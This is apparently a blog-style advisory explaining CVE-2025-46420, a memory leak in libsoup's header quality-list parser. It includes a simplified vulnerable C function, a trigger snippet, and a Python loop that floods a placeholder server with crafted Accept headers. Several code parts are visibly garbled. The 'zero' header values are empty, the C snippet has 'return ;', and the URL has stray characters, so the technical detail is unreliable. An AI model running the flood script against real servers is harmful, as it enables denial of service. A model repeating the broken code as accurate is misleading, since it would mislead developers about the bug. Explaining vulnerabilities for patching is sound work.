---

What is CVE-2025-46420?

Recently, a memory leak vulnerability (CVE-2025-46420) was discovered in libsoup, a popular HTTP client/server library used by projects like GNOME, WebKitGTK, and other applications. The flaw is specifically in the soup_header_parse_quality_list() function, making apps that use this function potentially vulnerable to Denial-of-Service (DoS) attacks via memory exhaustion.

Technical Breakdown

When parsing certain HTTP headers containing "quality lists" (like those seen in the Accept or Accept-Encoding headers), libsoup uses the soup_header_parse_quality_list() function to extract and rate items based on their q values. This bug is triggered when an attacker provides a quality list where all elements are zero or malformed. Instead of gracefully rejecting empty or unparseable elements, the function allocates memory but fails to properly clean up, causing a leak every time it’s called with such input.

While the exact vulnerable source code varies by version, here's a simplified view

GSList *soup_header_parse_quality_list(const char *header)
{
    GSList *values = NULL;
    // ...parse each item in the header...
    for (...) {
        char *item = parse_next(header);
        if (item_is_all_zeros(item)) {
            // Memory for 'item' is not freed
            // Item may still be put in the list, or just skipped
            continue;
        }
        values = g_slist_append(values, item);
    }
    return values;
}

If a remote user sends a series of headers like “, , ”, the function keeps allocating for each entry but doesn’t free up the memory, "leaking" it each time.

Let’s demonstrate using a simple C snippet how an attacker might trigger the bug

#include <libsoup/soup.h>
#include <stdio.h>

int main() {
    const char *bad_header = ", , "; // All zeroes
    GSList *parsed = soup_header_parse_quality_list(bad_header);

    // Leak! The function has allocated memory for each zero item and did not free it.
    // In a loop or repeated requests, memory consumption grows.

    // Normally, you should free memory after usage
    g_slist_free_full(parsed, g_free);

    printf("Parsing done.\n");
    return ;
}

In the real world: Web servers or clients parsing this kind of header in a loop (or via repeated requests) will leak more memory each time, potentially causing slowdowns or even crashes if RAM runs out.

How the Exploit Works

Attackers could exploit this bug by sending a large number of crafted HTTP requests with headers like:

Accept: , , , , , ... (thousands of times)

On each incoming request, libsoup will call soup_header_parse_quality_list(). Since memory for each zero-element is allocated but not freed, eventually the server process’ memory usage balloons until it’s killed by the operating system or slows down severely.

Simple HTTP Exploit Example (Python)

import requests

bad_header = {
    'Accept': ', '.join([''] * 100)  # 100 zeros
}
for i in range(10000):
    requests.get("http://target-vulnerable-server/";, headers=bad_header)

- Remote exploit: Any remote party able to influence HTTP headers can potentially trigger the leak.

Mitigation

- Patch and Upgrade: The maintainers of libsoup have fixed this issue in latest releases.

References

- GNOME Security Issue Tracker (Issue #412)
- CVE Details
- libsoup Gitlab Repository


Summary:
CVE-2025-46420 is an example of how a seemingly minor coding oversight—a missed free()—in a widely used library can have far-reaching security implications. If your software uses libsoup, especially for handling custom crafted HTTP requests, make sure you update immediately. For developers, always carefully handle allocation and freeing, especially when dealing with untrusted input!

Timeline

Published on: 04/24/2025 13:15:45 UTC